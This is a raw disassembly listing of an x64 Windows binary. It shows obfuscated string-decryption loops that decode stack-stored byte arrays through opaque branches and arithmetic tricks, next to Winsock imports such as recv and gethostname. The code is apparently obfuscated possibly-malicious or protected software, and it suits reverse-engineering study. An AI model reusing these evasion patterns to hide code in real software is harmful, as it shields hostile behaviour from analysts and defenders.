add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x79
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
add r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x61
jmp 0x1400886d0
inc r9b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 7
jmp 0x1400886c0
lea rcx, [rbp + 0x1634904]
jmp 0x140089231
lea rcx, [rbp + 0x9ea72f]
jmp 0x140089231
lea rcx, [rbp + 0x420]
lea rdx, [0x1401fcb0d]
call fcn.140039a40
mov byte [rbp + 0x440], 0xa5
mov byte [rbp + 0x441], 0x8f
mov byte [rbp + 0x442], 0x83
mov byte [rbp + 0x443], 0x81
mov byte [rbp + 0x444], 0x88
mov byte [rbp + 0x445], 0x80
mov byte [rbp + 0x446], 0x46
mov byte [rbp + 0x447], 0x90
mov byte [rbp + 0x448], 0x8d
mov byte [rbp + 0x449], 0x88
mov byte [rbp + 0x44a], 0xfa
mov byte [rbp + 0x44b], 0x84
mov byte [rbp + 0x44c], 0x82
mov byte [rbp + 0x44d], WSASetLastError
xor eax, eax
mov word [rbp + 0x44e], ax
mov byte [rbp + 0x450], al
movabs r14, 0xd4a68767035a24b0
movabs r15, 0x79dac29f1e2b4a30
movabs r13, 0xd08db3d1177700d0
movabs r12, 0x7df396350a0e6e10
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x11
jae 0x140089dd0
movzx r10d, byte [rbp + r11 + 0x440]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140089dc4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089343
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x30
jmp 0x14008937d
je 0x140089d52
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089cc1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140089c93
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089c71
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140089c27
movzx r9d, r11b
cmp r8, r11
ja 0x140089db8
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400893af
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400893e3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140089c08
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140089be2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089bc2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140089ba5
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140089924
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140089909
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400898eb
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400898c5
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400899d8
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400898a2
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140089885
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008986a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008984a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008981b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400893f0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140089d9b
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140089d7e
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400895e1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400895c6
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400895a7
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400897ca
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008978c
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008974c
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140089724
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400893f0
lea rbx, [r8 + 2]
lea r8, [rbx + 0x200]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400896f5
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400896d8
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400896bc
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008969f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140089687
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008966b
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140089648
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008961f
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140089601
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400893f0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 5]
jmp 0x1400893f0
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400893e3
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140089381
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140089310
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140089c41
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400892f3
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x1400892f3
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140089b62
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add rbx, r8
jmp 0x140089ca8
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140089ca8
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140089cda
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140089d0b
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
mov byte [rbp + r11 + 0x440], dil
inc r11
jmp 0x1400892f3
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 4
jb 0x14008973c
lea ecx, [r9 + 0x20]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140089c41
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
cmp rbx, 0x2a
jae 0x140089b49
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140089a7c
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
jmp 0x14008975b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140089b8f
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x1400899f3
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400897a2
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140089d0b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140089cdd
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140089ca8
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140089ca8
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400892f3
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc r8
dec r11
inc r11
jmp 0x1400892f3
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140089c41
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140089945
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
jmp 0x1400897d9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089981
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400899a9
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140089cdd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400899cb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x140089ca8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400897e4
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140089b65
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089a1b
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140089c41
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089a44
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140089cda
cmp rbx, rcx
jne 0x1400897a2
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089ab8
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140089ae3
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140089cdd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089b13
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140089ca8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140089766
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400892f3
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
add dil, r10b
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x50
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x440], r9b
add rbx, r8
jmp 0x140089ca8
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x20]
jmp 0x140089cdd
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x140089d0b
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
add rbx, r8
jmp 0x140089ca8
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400892f3
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140089c41
movzx r9d, r11b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x440], cl
inc r8
dec r11
inc r11
jmp 0x1400892f3
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140089ca8
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x50
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400892f3
lea rax, [r11 + r13]
and sil, al
mov ecx, 0x28
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x440], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x440], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x440]
add rax, r8
add r11, rax
inc r11
jmp 0x1400892f3
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400892f0
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400892e0
lea rcx, [rbp + 0x150aa80]
jmp 0x140089dd7
lea rcx, [rbp + 0x16acf30]
jmp 0x140089dd7
lea rcx, [rbp + 0x440]
lea rdx, [0x1401feb8a]
call fcn.140039a40
mov byte [rbp + 0x460], 0x8d
mov byte [rbp + 0x461], 0x77
mov byte [rbp + 0x462], WSASetLastError
mov byte [rbp + 0x463], WSASetLastError
mov byte [rbp + 0x464], 0x76
mov byte [rbp + 0x465], WSASetLastError
mov byte [rbp + 0x466], 0xa0
mov byte [rbp + 0x467], __WSAFDIsSet
mov byte [rbp + 0x468], 0x61
mov byte [rbp + 0x469], 0x61
mov byte [rbp + 0x46a], 0x63
mov byte [rbp + 0x46b], 0x75
mov byte [rbp + 0x46c], 0xca
xor eax, eax
mov qword [rbp + 0x46d], rax
mov word [rbp + 0x475], ax
movabs rsi, 0x20c10708805558e1
movabs r14, 0x26c93f4c83001fe9
movabs r12, 0xe547313b82556e27
movabs r15, 0x6243151981000aa3
movzx edi, byte [rsp + 0x50]
xor r13d, r13d
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x17
jae 0x14008aa88
movzx r9d, byte [rbp + r11 + 0x460]
mov edx, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14008aa7c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089ee0
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x27
jmp 0x140089f27
je 0x14008aa0c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008a980
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008a954
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a935
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008a8ee
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008a8c9
movzx r10d, r11b
nop dword [rax + rax]
cmp r8, r11
ja 0x14008aa70
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140089f61
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
jmp 0x140089fa0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008a882
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008a862
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a843
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008a814
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14008a520
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008a504
lea rcx, [r8 + 9]
cmp rbx, rcx
je 0x14008a4de
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008a4bb
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008a49f
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008a47c
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008a45f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a440
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008a420
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008a3f1
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140089fb0
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x14008aa53
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14008aa36
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x14008a19b
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14008a180
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x14008a165
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x14008a3a0
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x14008a353
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14008a312
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x14008a2ea
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x140089fb0
lea rbx, [r8 + 1]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008a2bb
lea rcx, [r8 + 0x10]
cmp rbx, rcx
ja 0x14008a29b
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008a27c
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008a25f
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008a23f
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008a223
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008a1fd
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008a1d7
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008a1b8
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140089fb0
mov rbx, rcx
lea r8, [rcx + 6]
jmp 0x140089fb0
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x140089fa0
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
jmp 0x140089f30
sub r10b, 0x59
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6f
jmp 0x140089eb0
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a89c
sub r10b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
inc r8
dec r11
inc r11
jmp 0x140089e93
add r10b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140089e93
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008a909
sub r10b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
add rbx, r8
jmp 0x14008a967
sub r10b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x14008a967
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008a99a
add r10b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
add dil, r10b
jmp 0x14008a9c7
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
add r10b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x65
mov byte [rbp + r11 + 0x460], dil
inc r11
jmp 0x140089e93
lea edx, [r10 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
add dil, dl
cmp r8, 5
jb 0x14008a302
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x14008a89c
lea edx, [r10 - 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x37
add dil, dl
cmp rbx, 0x61
jae 0x14008a7d7
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14008a6e3
lea edx, [r10 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
jmp 0x14008a329
lea edx, [r10 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14008a7f2
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14008a633
lea edx, [r10 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
jmp 0x14008a36a
sub r10b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
sub r10b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008a9c7
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008a99a
add r10b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14008a967
sub r10b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14008a967
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008a909
add r10b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
dec r11
inc r11
jmp 0x140089e93
add r10b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140089e93
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008a899
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14008a549
lea edx, [r10 - 0x1f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x27
jmp 0x14008a3b7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a585
sub r10b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a5b1
lea edx, [r10 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
add dil, dl
jmp 0x14008a99a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a5da
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008a909
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008a60a
add r10b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
dec r11
inc r11
jmp 0x140089e93
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008a3ba
lea edx, [r10 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008a899
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a65c
lea edx, [r10 + 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x67
jmp 0x14008a899
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a68c
sub r10b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x35
dec r11
inc r11
jmp 0x140089e93
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a6b6
add r10b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1f
jmp 0x14008a967
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a36d
sub r10b, 0x53
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x45
add dil, r10b
jmp 0x14008a9c7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a722
sub r10b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a74f
sub r10b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
add dil, r10b
jmp 0x14008a9c7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a77b
